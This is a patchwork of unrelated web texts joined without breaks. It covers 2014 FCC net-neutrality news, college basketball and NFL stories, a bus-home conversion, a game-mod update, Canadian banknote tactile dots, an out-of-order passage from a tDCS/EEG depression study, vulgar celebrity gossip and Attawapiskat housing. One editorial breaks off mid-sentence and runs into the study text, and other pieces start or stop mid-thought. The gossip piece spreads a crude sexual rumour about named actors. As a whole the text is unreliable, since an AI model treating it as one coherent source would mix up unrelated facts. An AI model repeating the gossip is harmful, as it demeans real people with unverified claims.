Folks scoffed at the idea that perceptions of both sides’ economic values — and of who was really on the side of the middle class — could help determine the outcome in 2012. But that turned out to be exactly right.Updated @ 11:40am: The FCC has voted 3-2 in favor of a new proposal that would allow for the creation of internet fast lanes, where edge service providers (Netflix, YouTube, etc.) could pay broadband/cable companies for priority traffic. It’s important to note that this is just a proposal — the public will now be allowed to comment, before the FCC enacts the final ruling later in the year. FCC chairman Tom Wheeler seemed quite insistent that the new proposal would not squeeze out the little players, and that fast lanes will only be made available when they are “reasonable.”
Updated @ 1:30pm: It’s also worth noting that none of Wheeler’s comments suggest that he’s in favor of prioritization or fast lanes. Most of his comments strongly suggest that he opposes any kind of segregation of the internet, into a slow internet and a fast internet. But as always with politics, it can be hard to separate what is being said — to please the consumer/voter — from what will actually be done.
Original story: Later today, Thursday, the US’s Federal Communications Commission (FCC) will vote on a new net-neutrality Open Internet proposal. This proposal (which still hasn’t been publicly released) was originally full of language that would allow ISPs to set up internet “fast lanes,” forcing service providers (such as Netflix or Skype) to pay for traffic priority — a barbed dagger in the heart of net neutrality. A couple of days ago, though, responding to a tsunami of criticism, FCC chairman Tom Wheeler revised the proposal to ban some types of fast lane — such as ISPs prioritizing traffic from their own subsidiaries — but not others. As it stands, it’s very unclear what the FCC will actually be voting on later today — but it does seem almost certain that the new Open Internet Order will contain some provision for pay-for-priority fast lanes. Where does this leave the internet and net neutrality? Is there anything we can do to stop the FCC and its kowtow to capitalism?
Back in 2010, the previous incarnation of the FCC, helmed by Julius Genachowski, enacted the FCC Open Internet Order 2010. This first Order didn’t quite declare that ISPs (internet service providers) were common carriers — i.e. dumb pipes, like a mail courier or telephone company, that must transport everything you give to them without messing with the contents — but it did outlaw pay-for-play fast lanes. Verizon challenged this order, and in January 2014 the US Court of Appeals struck down some of the order. The FCC has since gone back to the drawing board to work up a new Open Internet Order, and that’s what’s being voted on today.
Verizon argued that the 2010 Order was too strict and failed to provide valid legal reasoning for “the anti-discrimination and anti-blocking rules” — and the court agreed. To impose such strict regulations, the FCC would have to reclassify ISPs as common carriers. But the FCC, for fairly mysterious reasons, doesn’t want to do that.
If ISPs were classified as common carriers, they would essentially be held to the same standards and regulations as a copper-line telephone company (telco). Each ISP would have to provide an internet connection to your home or office that gracefully and reliably interconnects with other ISP networks. It would be the ISP’s responsibility to ensure that your connection to other parts of the internet — including services like Netflix or YouTube — are unaffected. Imagine if your telco tried to charge you extra for the ability to make calls during peak hours, or to guarantee that your calls won’t be randomly dropped.
That’s essentially what Verizon, Comcast, and Time Warner are trying to do with pay-for-priority fast lanes: It wants to charge web services (like Google) a fee for priority access to its network. Google would have to pay this fee, or risk the cable company throttling its traffic, ruining the service. (Users, of course, would just think that it’s Google being slow, not Verizon or Comcast.)
So, why won’t the FCC step up to the plate and classify ISPs as common carriers? No one’s really sure. The carriers would be incredibly upset, of course, and would raise legal and public relations hell against the FCC. The more cynical view is that the FCC chairman, Tom Wheeler — who used to lobby for the telecoms industry — is just looking out for his old buddies at the cable companies.
How can we stop the FCC from killing net neutrality?
All eyes are now on the FCC for today’s vote. The most recent leak from an unnamed FCC official indicates that Wheeler’s latest revision will ban some internet fast lanes — such as Comcast giving preferential treatment to its own Xfinity TV service — but will leave the gate open for other pay-for-priority deals. On the other side of the pond, where regulation is (very sensibly) all about protecting the consumer, Europe just voted to protect net neutrality (and abolish mobile roaming fees, too).
As for whether there’s anything you can do to help US net neutrality, your best bet is probably contacting Congress and asking them to come down on the FCC like a ton of bricks. StopTheSlowLane makes the process of contacting Congress very easy — and, for website owners, it also provides a fun piece of JavaScript (pictured above) that simulates what the internet might be like if the FCC approves the creation of internet fast lanes (and thus slow lanes as well). Fight for the Future has some more info and a petition that you can sign, too.
What we probably need is a big SOPA-style internet blackout, with all of the big boys — Google, Facebook, Netflix, etc. — coordinating to show the internet what it would be like if internet access was suddenly reduced to circa-1998 56k dial-up speeds. As yet, no such blackout is planned — but that could all change, following the FCC’s vote later today.Updated at 5 p.m.
After serving a three-game suspension for a violation of team rules, junior point guard Scottie Wilbekin has been reinstated and will play but not start for No. 10 Florida Gators basketball in its next game on Sunday against Middle Tennessee State in Tampa, FL, the school announced on Friday.
Wilbekin, who did not make the trip to Jacksonville, FL for the Navy-Marine Corps Classic with the Gators after head coach Billy Donovan learned of some disturbing news the morning of the team’s departure, also sat out Florida’s subsequent games against Alabama State and Wisconsin despite the fact that he was penciled in to start at point guard prior to the season.
“Obviously, I think he certainly paid a price of missing three games – three pretty big games to start his junior year,” Donovan said Friday. “I think he missed out on an opportunity to play on the ship, which is a great experience, and then playing the home opener against Alabama State and then playing the other night against Wisconsin. I think he’s definitely paid a price. My meeting with him here [Friday], I felt like it was time to let him be able to come back and start practicing, be a part of our team.”
Donovan often claimed he needed more information on Wilbekin’s status before deciding how long his indefinite suspension would continue. Now after three games, he is back with the team and expected to see action over the weekend though he will likely have to work in practice to earn back his starting role.
“He’s got to work back. He’s missed a week of practice right now by his own doing. That’s not to say that he’s never going to start here again,” Donovan said. “One of the things that I feel like, as a coach, is I don’t believe in having a doghouse, so to speak. To me, he starts fresh and clean.
“In my mind, although we did address the things that he has done, I think I’d be making a mistake as a coach to constantly keep holding on to that because I’m expecting him to move on and I’m expecting him to be committed to himself, the team and the things that he needs to do here. To say that he’s never going to start again or never going to be put in a position to start again, I think, is unfair to him, unfair to our team and just not right from my standpoint as a coach.
“I think right now he needs to move forward. He has the opportunity … to prove himself out on the court. If he does that, he has every opportunity to earn back what he’s lost.”
[EXPAND CLICK TO EXPAND and read the rest of this story.]At the time of Wilbekin’s suspension, Donovan said the player was remorseful for his actions and apologized for letting down the coaching staff and his teammates. He doubled down on those statements in the meeting the two parties had on Friday before practice.
“It was really kind of the first conversation I’ve had with him,” Donovan said. “I spoke to him last Thursday and then periodically. I’ve wanted him to be able to come in here and workout and lift weights and do those kind of things away from our team. He has not practiced or been a part of our team since that point.
“I think Scottie’s very remorseful. The one thing I respect – a lot of times when guys make mistakes, it’s very easy to cast blame or point fingers elsewhere or try to say ‘It’s not my fault’ or ‘I didn’t do anything wrong.’ I respect the fact that he’s taken responsibility. He’s disappointed. He’s upset. He’s bothered. I think he realizes that being gone for a week, he needs to really make an investment to the guys on this team, which I think he’s going to do.
“Everything I’ve got from Scottie, even in our meeting [Friday] where we really sat down and we spoke, was somebody that was very, very sorry, I think disappointed in himself, disappointed in terms of maybe he let his team down, disappointed he gave up an opportunity to be a part of our team these last three games. I saw somebody that, just like anything else, wants to be forgiven, wants to move on, and wants to be bale to go back and try to prove himself.”
Senior guard Kenny Boynton has been running the point in Wilbekin’s absence and will start at the one on Sunday. He will continue to see time at point guard even after Wilbekin returns to the starting lineup, if he is able to earn his way back in the team’s good graces.[/EXPAND]In this incredible conversion we see an old school bus turned into a mobile home. The all wood interior really gives this mobile home a comfy feeling. There’s a fully functional kitchen, a wood burning fireplace for heat (the bus is undoubtedly poor for insulation), a futon for sitting/sleeping, a desk and shelves with lips to prevent items from falling out when the road gets bumpy.
These old school buses are not known for their fuel efficiency, so gas is probably expensive. The trade-off is of course mobility, and the ability to park/sleep in pretty beautiful locations that a [moderately priced] hotel would be hard pressed to match. The experience of travelling/living in one of these is truly unique.
[via mountainash]
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Designed by wpiCreativeIn our previous media update, we talked about postponing Dark Interval Part 2 due to sheer volume of planned new content. This update won’t include release date estimates or the “percentage” of work done so far. But we do have some tasteful and exciting things to show you.
First up is some of the Wasteland levels.
The wasteland is a dangerous place. Two decades since the Black Mesa Incident left it ravaged by cataclysms, populated with old and new alien species, filled with poison and death.
Most of the wasteland maps are quite big; at their least, they compare in size with Highway 17/Sandtraps levels, but less restricted and drawn-out. Though ultimately linear, they’re still built around exploration and wandering.
I know what you may think: the open world concept can fail hard on Source, when you get flat, empty maps that bore you and waste your time on having to traverse them. We’re well aware of it, and we’re doing our best to avoid it.
GAMEPLAY VIDEO
Below is a little demonstration of gameplay process, recorded on a map called “Scrapland”.
While the gameplay mechanics don’t differ from HL2 is any serious way, we feel that it captures our idea and mood of the wasteland that was cut from the final game.
Disclaimer: some of the shown content is present for demo purposes only, and everything is potential subject to change. This is still work in progress.
For the maps in the above screenshots - “Beach” and “Haven” - we drew inspiration from both old maps and some concepts. Beach is reminiscent of old Depot entrance levels, while Haven is inspired by prototype wasteland maps from 2002.
Scrapland, on the other hand, doesn’t have any one prototype. Instead, it reflects the general idea of having a vast desolate area filled with remnants of old tech, junk, ruins, sand, and danger.
MODEL GALLERY
We started using Sketchfab and uploaded some of our models for preview. Newest additions are Consulcast Device, retextured Dropship & Camo soldier, and Houndeyes.
The alien polyps were already uploaded last year, though not shared on ModDB.
Since Sketchfab render is different from Source, the models often look a bit different from in-game (mostly they lack specialised effects).
TELL US WHAT YOU THINK
Our Discord is still there and you can join at any moment.
Tell us what you make of this update. We’re really looking forward to what the mod will achieve in the new year.Canadian Journey Series $20 bill. Close-up of the feature on the$20 bill.
The Canadian currency tactile feature is a feature on the Canadian Journey and Frontier series of Canadian banknotes to aid people who are visually impaired to identify the notes. The feature indicates the banknote denomination in the upper left corner of the face side of the bill using a series of raised dots. It was suggested by Bruno Thériault, an administrator for the Canadian National Institute for the Blind, and designed by Dr. Susan Lederman, a professor of Psychology at Queen's University.[1]
Although similar in appearance to Braille, it differs because standard Braille was deemed too sensitive. The currency denomination must be recognized easily, thus the banknotes use full Braille blocks (or cells) of 6 dots, ⟨⠿⟩. The $5 bill has one cell, with the $10, $20, and $50 denominations each having one more cell than previous. The $100 bill has two cells arranged such that there is a space of two empty cells between them: ⟨⠿⠀⠀⠿⟩.
A very similar system of tactile raised dots is now being implemented in a new series of notes for the Costa Rican colón.
The U.S. Treasury has announced that the new $10 note will also have a tactile feature.[2]
Notes [ edit ]
See also [ edit ]The release of safety Bernard Pollard is following a curious trend for the Ravens: The locker room is becoming less outspoken.
Whether this is a conscious decision or not, the Ravens are losing strong and vocal leaders in the locker room. Linebacker Ray Lewis retired. Wide receiver Anquan Boldin was traded. And now, for just $1 million in cap room, Pollard will get cut.
Add Bernard Pollard to the list of vocal Ravens players who will be playing elsewhere next season. Chris Humphreys/USA TODAY Sports
This is becoming more and more coach John Harbaugh's team. Veteran players are more apt to challenge decisions, and younger ones are more willing to follow. The personality of the locker room would get toned down further if safety Ed Reed signs elsewhere.
It was a few months ago when Pollard and Reed spoke out against Harbaugh's decision to practice in full pads. They eventually came to a resolution, and it became one of the turning points in the championship season. But with fewer veterans, this situation likely wouldn't occur.
Some suggest Pollard wore out his welcome, which is why he's played on three teams in seven seasons. It's difficult to find another reason why the Ravens are releasing him.
I understand the Ravens' reasoning behind trading Boldin. It created $5.5 million in salary-cap space.
I totally get why the Ravens weren't able to keep linebacker Dannell Ellerbe. The Dolphins overspent when they signed him to a five-year, $35 million deal.
But it's hard to believe Pollard's value outweighs the additional $1 million in cap room. Pollard was the leading tackler last season for the Super Bowl champions. He's the physical enforcer in the secondary. It was that physical play that led him to force the key fumble in the AFC Championship Game.
The NFL is a business, and the release of Pollard underscores that, especially after what he endured. Pollard missed only three games last season, playing with fractured ribs. He re-injured those ribs in the Super Bowl, and still played.
You can say the Ravens want to get younger. But Pollard doesn't turn 30 until December.
You can say Pollard struggled in pass coverage. He did allow quarterbacks to complete 75 percent of their passes against him, according to Pro Football Focus, but he didn't give up a touchdown last season.
But if you say the Ravens are trying to change the personality of the locker room, it's hard to disagree.SAN DIEGO -- With Eric Weddle remaining absent from offseason work because of frustration over the lack of progress regarding his contract extension, San Diego Chargers general manager Tom Telesco offered his most extensive remarks on the subject.
Eric Weddle is the only safety in the NFL named first or second-team All-Pro for five straight seasons. John Leyba/The Denver Post/Getty Images
The 30-year-old safety enters the final year of his contract and has skipped the Chargers' voluntary workouts amid desires for a new deal. Weddle said he felt disrespected by the way the organization is handling negotiations.
In a conversation with Scott Kaplan and Billy Ray Smith of The Mighty 1090 AM radio, Telesco said that the Chargers have had discussions about a contract extension with Weddle's representation, but that a gap remains between the two sides in negotiations.
You can listen to the full conversation here.
"We do take great pride in how we treat our players here -- players, coaches, scouts, staff -- everyone in the organization," Telesco said. "Anyone that's been around the building the last couple years has seen that first hand.
"We said before the draft that we would talk after the draft. And we did. And we talked multiple times. We listened to their concerns about his current contract. We listened to their complaints about playing too much. And we read through their statistical analysis and their financial comparisons.
"We went through all of that stuff. We just decided that we're just not at their numbers right now. It's really as simple as that. There's no sinister agenda there, nothing like that. Just right now it's not there."
Weddle led the defense by playing 961 snaps last season. Since 2008, Weddle has played an average of 937 snaps during the regular season. He is the only safety in the NFL named first or second-team All-Pro for five straight seasons.
Weddle is scheduled to make $7.5 million in base salary in the final year of a five-year, $40 million deal. That makes Weddle the third-highest paid safety in terms of total compensation in 2015.
Only safeties Devin McCourty of the New England Patriots [$18 million] and Jairus Byrd of the New Orlean Saints [$8.1 million] will make more in 2015.
Telesco said things could change, or that perhaps the team will wait until after the season to address Weddle's contract. However, Telesco said he's pleased that Weddle remains on the roster.
"Each negotiation, each discussion is just different," Telesco said. "In his case, he's up there at the top of the market where he's paid right now."
Telesco said he's talked with Weddle, and that he understands the team's perspective on negotiations. Telesco was asked if he expects Weddle to show up to minicamp next week, avoiding a potential fine.
"I expect him to, but we'll see next week," Telesco said. "But I'd expect him to be here.... He's a pro. He's a big part of this team. We know everything about him. We'll know he'll be ready to go. I'm not worried about that at all."
Telesco said the team's negotiations on a contract extension with Philip Rivers are ongoing.
"We still have open lines of communication, but there's really nothing new to report write now," Telesco said. "We'll continue to hopefully talk and see how it goes."
Telesco said the two sides have talked numbers in terms of a contract extension.
"The numbers are pretty big, so the conversations do take some time," Telesco said. "But we'll keep working at it, and we'll see where it goes."
And on the team's five-year contract extension with Corey Liuget, Telesco said the Chargers locked in a foundational player who they see as an ascending talent. Liuget's five-year deal is worth a little over $10 million a year.
"It was nice to get him extended," Telesco said. "Corey is a very disruptive player, and he plays a very important position in our defense. The 3-tech defensive tackle makes that whole front go, and he has that type of ability. He turned 25 just a couple months ago. He still has a really high ceiling. There's still a lot of good football in front of him, and still a lot of skills in front of him. So I don't even think we've seen the finished product yet."One expects political candidates to make the most of current events to press their case to the electorate. As such, the series of bombs Ahmad Khan Rahami tried to set off last weekend were fodder for the campaign trail. What is bizarre is when the editorial board of |
Cz and sampled at 5 kHz. Electrodes impedances were set below 5 kΩ. The electrooculogram and two electrocardiogram channels were also recorded. The delay between tDCS and the EEG acquisition – due to placement of the cap – was approximately 60 minutes.
The stimuli consisted of a 5×5 grid on which pictures and filler items were presented. Picture stimuli consisted of abstract, multi-coloured designs obtained from an online database (Barbeau, E.J.: http://cerco.ups-tlse.fr/~barbeau/, accessed November 2005), which do not lend themselves easily to verbal naming. Images and locations were randomised to ensure an even presentation of true and false outcomes. By manipulating the ratio of target pictures to background fillers, memory load can be parameterised from easy (1 target, 5 fillers) to medium (3 targets, 3 fillers) and hard (5 targets, 1 filler) whilst keeping the visual load and visual scan path constant. Participants undertook 12 trials of each level of difficulty with a total of 36 trials. The order of trials was counterbalanced across subjects.
Participants were seated in a light and sound attenuated room and completed a VWM paradigm [18]. A delayed match-to-sample task of graded cognitive difficulty was employed. Participants were initially shown a fixation cross for 6 s followed by an encoding screen consisting of a combination of target pictures and non-descript background fillers on a background for 6 s ( Fig. 2 ). The first stimulus was followed by a maintenance screen with a fixation cross that was presented for 6 s (retention phase) and finally a retrieval screen was presented, consisting of the same number of target pictures and background fillers as the encoding screen. Participants were instructed to remember the pictures and positions they appeared in (targets) and responded using custom made buttons. The right button was pressed if one of the pictures appeared in the same locations on the grid, or the left button was pressed if none of the target pictures appeared in the same location. Hence, participants had to remember both the pictures as their locations [18].
The study protocol was a double-blind sham-controlled crossover design where participants were randomised to one of two arms of the study in which they received either tDCS followed by sham (Group 1) or sham followed by active tDCS (Group 2) in a ratio of 1∶1 ( Fig. 1 ). Hence, each participant received one session of active and one session of sham tDCS. The tDCS was administered using an Eldith DC-stimulator (NeuroConn GmbH, Germany). The anode placed over the left DLPFC (identified as F3 on the international 10–20 EEG system) and cathode placed over the lateral aspect of the contralateral orbit (at the F8 position). Active stimulation was given at 2 mA for 20 min, with a gradual ramp up/down of the current over 30 s. For sham stimulation, a 1 mA current was applied for 30 s with ramp up/down over 10 s, giving an initial sensation of tDCS while minimising stimulatory effects. Active and sham sessions were performed 7–8 days apart. Following each intervention, EEG activity was acquired to investigate the acute effects of the brain stimulation on cortical activity. EEG data from four participants were excluded because of failure to perform the VWM task at higher than chance levels (1 participant), or because of excessive EEG artefacts (3 participants). Demographic and clinical details of the remaining 14 participants are shown in Table 1.
Participants were diagnosed in a semi-structured interview using the Mini-International Neuropsychiatric Interview (MINI) [39], with confirmation in a clinical interview by a psychiatrist. Participants with a DSM-IV major depressive episode and a score of ≥20 on the Montgomery-Åsperg depression scale (MADRS) were included. In two patients, the present episode occurred in the context of bipolar disorder; all others had unipolar depressive disorders. Trained raters assessed mood and functioning during the study using the MADRS and Clinical Global Impression – severity of Illness (CGI-S). Exclusion criteria included: other Axis 1 disorders, alcohol misuse, drug dependence or misuse, neurological disorders, electronic or metal implants, history of heart disease, electronic or metal implants, treatment with ECT in current episode, pregnancy and concurrent treatment with medications shown to modulate the effects of tDCS (benzodiazepines, anticonvulsants, dextromethorphan and pseudoephedrine). During the study five participants were medication free and all others were taking the following antidepressant medications; duloxetine (2), citalopram (1), venlafaxine (1), duloxetine/mirtazapine (1), desvenlafaxine (1), dothiepin (1), mirtazapine (2), escitalopram (1), olanzapine/paroxetine (1), fluoxetine/zolpidem (1), nortriptyline/lithium (1). For clinical and ethical reasons, participants were not required to withdraw from these medications and any concurrent psychotropic medications were continued at stable doses.
Eighteen participants were invited to participate in our study prior to entry into a clinical trial investigating tDCS stimulation for the treatment of depression at the Black Dog Institute, Sydney, Australia (registered at www.clinicaltrials.gov : NCT00763230) [2]. Data was collected from eighteen participants; however only fourteen data sets were used for the final analysis due to artefactual EEG and poor task performance. Informed consent was given in accordance with the National Health and Medical Research Council guidelines and the study was approved by the Human Research Ethics Committee of The University of New South Wales. Written and informed consent was obtained from all participants prior to study enrolment in accordance with the National Health and Medical Research Council guidelines and the Human Research Ethics Committee of the University of New South Wales.
After the current study all participants continued with tDCS treatment in a clinical trial to study the antidepressant efficacy over multiple tDCS sessions [2]. Here we sought to perform an explorative analysis to test whether the significant changes in EEG measures found in the present study correlated with the improvements in the subsequent clinical trial. We hence performed a Pearson correlation analysis between the EEG measures that showed a significant intervention effect (N2, Theta and Alpha) and the scores obtained in the clinical trial (MADRS, CGI and SDMT). The participants in our studies were again randomised into an active and sham group when entering the clinical trials. For the correlation analysis, only the participants who received 15 sessions of active tDCS in the clinical trial were used (n = 8). A significant correlation was found between the difference in theta activity after active and sham tDCS and the change in CGI (r = 0.76, p = 0.029) and the change in SDMT (r = 0.81, p = 0.015). However, the effect does not survive removal of an outlier from the data. See Text S1 for further details.
Statistical analysis of ERS/ERD data revealed robust tDCS intervention effects on power in both the alpha and theta frequency ranges in frontal and parietal channels ( Fig. 6 ). In particular, a significant interaction effect between intervention and memory load was observed for alpha power in parietal channel Pz during the maintenance period ( Fig. 6A, F (1.8,6.2) = 6.23, p = 0.007). Post-hoc t-tests reveal a significant increase in power after active tDCS (t (13) = 2.63, p = 0.021) in the condition of high memory load. In addition to the effect on theta activity over parietal cortex, a main effect of intervention was observed for theta power in frontal channel FCz during the retrieval period ( Fig. 6B, F (1,13) = 11.8, p = 0.004). Post-hoc t-tests reveal a significant reduction (t (13) = 2.19, p = 0.048) in theta power for the medium task load. No other significant intervention or interaction effects were found for ERS/ERD in the theta or alpha band.
A: Channel FCz reveals alpha and theta band dynamics across the entire trial in active tDCS (bottom panel) and sham (top panel) interventions. B: Channel PO8 reveals alpha and theta modulations across the entire trial in active (bottom panel) and sham (top panel) interventions. C: Event-related synchronization/desynchronization in the theta band (4–8 Hz) averaged across all subjects in channel FCz during tDCS active (black line) and sham (red line) stimulation at medium memory load D: Event-related synchronization/desynchronization in the theta band in channel PO8 during active tDCS and sham stimulation at medium memory load. E: Spatial topographies of event related synchronisation/desynchronisation for the time interval 18–19 s (retrieval) after sham (left panel) and active (right) tDCS.
Visual inspection of changes in the spectral content of the EEG across a broad range of frequencies revealed that task-related changes manifest in the theta (4–8 Hz) and alpha (8–12 Hz) frequency bands ( Fig. 5A, B ). Spectral amplitude in the theta band increased clearly during stimulus presentation, i.e. during the encoding (6–12 s) and retrieval period (18–24 s), over parietal and occipital cortex. The increase in theta activity (ERS) co-occurs with the ERPs immediately following stimulus onset for encoding (6 s), maintenance (12 s) and retrieval (18 s) both fronto-centrally and occipitally in channels FCz and PO8 ( Fig. 5C, D ). This increase is then followed by a sustained but reduced power change that continues for the remainder of the interval for each respective task condition, in particular in the occipito-parietal channel PO8. In addition to changes in theta activity, a marked reduction in the alpha activity (ERD) was observed occipito-parietally in the time frequency plots ( Fig. 5B ). In channel P08 at the start of the maintenance period (12–18 s) there is an abrupt reduction of alpha activity revealed by decreased spectral amplitude. Alpha power revealed a sustained decrease throughout the encoding, maintenance and retrieval periods in occipito-parietal cortex (shown here again in channel PO8). This reduction in alpha activity was stronger at increased memory load, being most apparent in the hard trials.
Event-related potentials showed waveforms consistent with visually evoked activity. Figure 3 presents an example of the grand average ERP in channel FCz following presentation of the retrieval (second) stimulus, exhibiting large P1 and N2 components that vary with memory load. The expression of ERPs revealed significant effects of memory load consistent with results of a previous study using healthy subjects [40]. The spatial topology of the N2 in retrieval is shown in figure 3B for each difficulty level revealing negative amplitudes over posterior electrodes grading to a strong positive deflection across frontal electrodes. As task load increases the N2 amplitude is reduced, but the spatial topology remains largely intact.
Discussion
Despite its emerging therapeutic utility the effects of tDCS on cortical activity in patients with an affective disorder remains largely undetermined. Here we examined acute effects of a single session of anodal tDCS to the left DLPFC on task-related EEG activity using a sham-controlled crossover design. We assessed behavioural correlates, ERPs and spectral changes during a VWM task in these patients after receiving tDCS. Respectively we observed significant effects of tDCS on cortical EEG activity in both electrophysiological measures (ERPs and ERS/ERD) during the retrieval period of the VWM task, but found no significant effects on behavioural measures. A distinct finding was that active tDCS resulted in a reduction of the event-related N2 component over prefrontal brain areas during medium memory load. In addition, we observed a significant reduction in frontal theta activity following active compared to sham stimulation and increased occipito-parietal alpha desynchronisation after active tDCS during the retention phase.
To our knowledge, this is the first sham-controlled EEG study investigating the effects of tDCS stimulation in a group of patients with an affective disorder. Our results corroborate previous findings from a case study which recorded EEG after anodal tDCS in a patient with major depressive disorder showing reduction in alpha and theta power [27]. Our findings are consistent with previous EEG studies examining effects of tDCS in healthy participants. The reduction in alpha power over the occipito-parietal cortex after tDCS closely mirrors the reduction in alpha power observed during an emotionally-salient oddball task after anodal tDCS to the left prefrontal cortex [43], during VWM after anodal tDCS to the left prefrontal cortex [24], or the right parietal cortex [20]. The reduction of alpha band activity over occipito-parietal cortices could reflect general effects of tDCS on the fronto-parietal network known to be active when processing stimuli in the VWM system [20]. In addition to reduced occipito-parietal alpha, we also observed a reduction in frontal theta oscillations during memory retrieval in response to tDCS. This finding is supported by previous studies showing reduced frontal theta in resting-state EEG [19], and during a working memory task [44]. A potential explanation of the observed reduction of frontal theta power while VWM performance was unaffected may be that anodal tDCS facilitated more efficient neurocognitive functioning, such that similar performance was attained with less effort. Consistent with the current findings, the effect of tDCS on event related potentials have mainly been reported around 250 ms latency. Keeser et al. [7] found increased amplitude of the P2 and P3 components in a working memory task that were localized to the parahippocampal gyrus. Similarly, Tseng et al. [22] found an increased N2 (250–320 ms) amplitude and memory performance after tDCS to posterior parietal cortex only in poor performers. Hence, tDCS induces widespread changes in cortical activity reflected by a few key indicators in EEG recordings. The above studies were mostly in healthy subjects and our findings extend this emerging body of knowledge in a clinical population experiencing a depressive episode.
The behavioural effects of tDCS in the literature are mixed and in our study we found no behavioural effects of tDCS on the VWM task. Previous studies have found improved task performance [4], [25], [38], [45], [46], improved accuracy [21] and faster reaction times in response to tDCS [21], [24], [33]. An explanation for the lack of effects in our study may relate to task difficulty: Hard trials may have been too complex resulting in close to chance performance (floor effect), while the easy trials not challenging enough (ceiling effect) [16], [47], [48]. Indeed, the effects of tDCS on the N2 component were only found during medium memory load. In future studies, the sensitivity of the VWM task may be improved by titrating individuals and adjusting task difficulty to individual capabilities. The current paradigm was specifically developed for electrophysiological [40] and neuroimaging [18] studies and may therefore lack sensitivity to detect behavioural changes after tDCS, however there is strong evidence to suggest working memory is a suitable system to characterise the effects of tDCS [33]. In the clinical trial following our study, cognitive performance was measured five minutes after tDCS and improvements were observed [2]. In contrast, in our study a sixty-minute lag time existed between tDCS and the cognitive task due to the EEG setup time and may potentially have diminished the acute effects of tDCS. EEG measures may be more sensitive to the effects of tDCS than behavioural tests, which assess overall task performance and generally involve many interconnected cognitive functions. EEG measures may be able to distinguish between these components and reflect the effect on specific cognitive functions, such as stimulus encoding or attention, as well as distinguishing region-specific effects. This would also further enhance the potential of EEG as an objective clinical endpoint in the research and therapeutic setting.
This exploratory study sought to elucidate the effects of tDCS on EEG measures in view of investigating potential biomarkers for use in a clinical setting. However, in the current study only 18 patients were recruited and four patients were excluded due to high levels of EEG artefacts or inadequate task performance. We chose a within subjects design to optimise the power, given the sample size. The within subjects design is an efficient use of participants time and allowed detection of differences across our different variables with sufficient statistical power to draw inference about the treatment effects. Our study was a satellite study to a clinical trial assessing the efficacy of tDCS in depression [2]. A core feature of the clinical trial was to determine the efficacy for treating patients exhibiting symptoms of depression – symptomatology of both unipolar and bipolar depression. We performed exploratory correlation analysis between the EEG measures and subsequent improvement in the clinical trial (see Supporting Information Text S1). This shows a weak correlation in those participants in whom the regression analysis could be performed (n = 8). However, the effect did not survive removal of an outlier from the data. These early promising findings provide scope for a larger future study that integrates EEG following tDCS and a regression analysis with clinical outcomes, which may disentangle the effects of tDCS in patients with unipolar and bipolar depression. Simultaneous tDCS and EEG [28], [49] would reduce the time required for the EEG set-up and allow for more extensive testing in larger patient groups. Such a study would confirm whether the identified EEG measures indeed predict the differences in clinical improvement after tDCS treatment and thus address questions regarding treatment of affective disorders. Moreover, there is no agreement on what constitutes the most efficacious amount of tDCS, the optimal exposure time [50], [51] or the effect and efficacy of concurrent pharmacological intervention [52]. Potentially, EEG could play a role in monitoring the response to tDCS, using an approach tailored to the more subtle effect of tDCS.
The current findings may also help to uncover potential physiological mechanisms underlying the clinical improvements following tDCS. The observed changes in theta and N2 were found in channel FCz over the medial frontal cortex. The modulation of these EEG components most likely reflects indirect effects of brain stimulations rather than direct effects on the left DLPFC. That is, the frontal theta rhythm in working memory has been associated with the medial frontal cortex [53]–[55]. Likewise, several studies support the view that the N2 component is generated by sources in the medial frontal cortex [56]–[58]. The N2 component is thought to reflect novelty detection and conflict monitoring [59], [60]. This is consistent with the present finding that the N2 is significantly reduced during the retrieval phase when participants decide whether the same stimulus was perceived. The medial frontal cortex is linked to decision uncertainty [61] and also to depression [62], [63]. Moreover, major depressive disorder has been characterized by abnormal patterns in brain oscillations in the theta [64] and alpha band [37]. Hence, the current findings suggest modulated activity of the medial frontal cortex after tDCS engendering the idea that focal brain stimulation propagates through brain networks resulting in wide-ranging effects on cortical functioning [11].
In sum, the present study shows the suitability of EEG to detect the cortical after-effects of tDCS in patients experiencing depression (see also [65]). The observed effects on EEG components are considered to have a source in medial frontal cortex suggesting that tDCS affects cortical functioning beyond focal changes at the stimulation site. Concurrent monitoring of the effects tDCS using EEG would allow mapping these changes in network activity enabling a more personalised approach to tDCS treatment delivery. A neurophysiological understanding of the mechanism underlying the effects of tDCS will further help to optimise treatment protocols.The truth is out there and apparently David Duchovny is trying to find the truth in Gillian Anderson’s punane. Nerds are jizzing themselves into a coma after Celeb Dirty Laundry said yesterday that Gillian and her kids are living with sexaholic David Duchovny in Los Angeles. Crazy Days and Nights recently revealed that his “two sort of married co-stars are living together” blind item from 2011 was about Gillian and David. This probably not true rumor will make some of your nipples hard with excitement, but my nipples will only get hard with excitement when Celeb Dirty Laundry posts a story about how one of my favorite TV couples, Beecher and Keller from OZ, are shacking up together in an apartment that looks like a jail cell.
Gillian recently broke up with her partner of a million years and David and Tea Leoni broke up for good last year. CDL doesn’t say much about this rumor except that Mulder and Scully have been exploring each other’s Uranuses for some time. They also point to an interview Gillian gave to The Sunday Times Magazine where she plays coy about having a full-time hump partner in her life:
I ask if she has a partner at the moment. Her answer is peculiar. “Um…yes…umm…umm…” There is a long pause. “Say yes,” she stutters finally.
Is this one we know about, I say, the father of the two youngest children, or a new one? “Umm, no, no… why do you ask me?” she counters.
If you still want to believe, then plug your eyes so you won’t have to read what David Duchovny’s spokeswhore said about this come-to-life fanfic shit. David’s rep broke nerd boners when they told Wonderwall that the rumor is fake.
So who is Gillian partnering up with then? My guess is that she’s shacking up with Flukeman. I mean, can you imagine the things that mouth can do?
Here’s David carrying some Chinese takeout in L.A. the other day. Yes, you can still write in your Mulder and Scully erotic fanfiction novel that he waltzed into his house and let Gillian eat lo mein noodles off his taint.The Attawapiskat First Nation in northeastern Ontario says its housing shortage has turned into a crisis.
In the isolated James Bay community of Attawapiskat, houses are so overcrowded that some families are living in shacks and tent frames. As the temperature drops, the community is calling for help.
Lisa Marie Linklater is bracing for another winter in a tent frame.
Lisa Marie Linklater and Attawapiskat First Nation Chief Theresa Spence said they are not looking forward to living in tent frames like this one, for a third winter in a row. ((Allison Dempster/CBC))
"There's six of us — four of my kids, me and my husband," she said. "We have no washroom, no running water. It's hard, especially in winter times."
There's a wood stove and a couple of mattresses on the plywood floor. To get electricity, they run extension cords from the house next door.
Houses need major renovations
Her mother, Stella Kioke Koostachin, is so frustrated with the situation, it brings tears to her eyes.
She has been writing to First Nations leaders and Timmins-James Bay politicians for help.
"They really need to step up and do something about it," she said. "I mean, people need to realize how we're living up here."
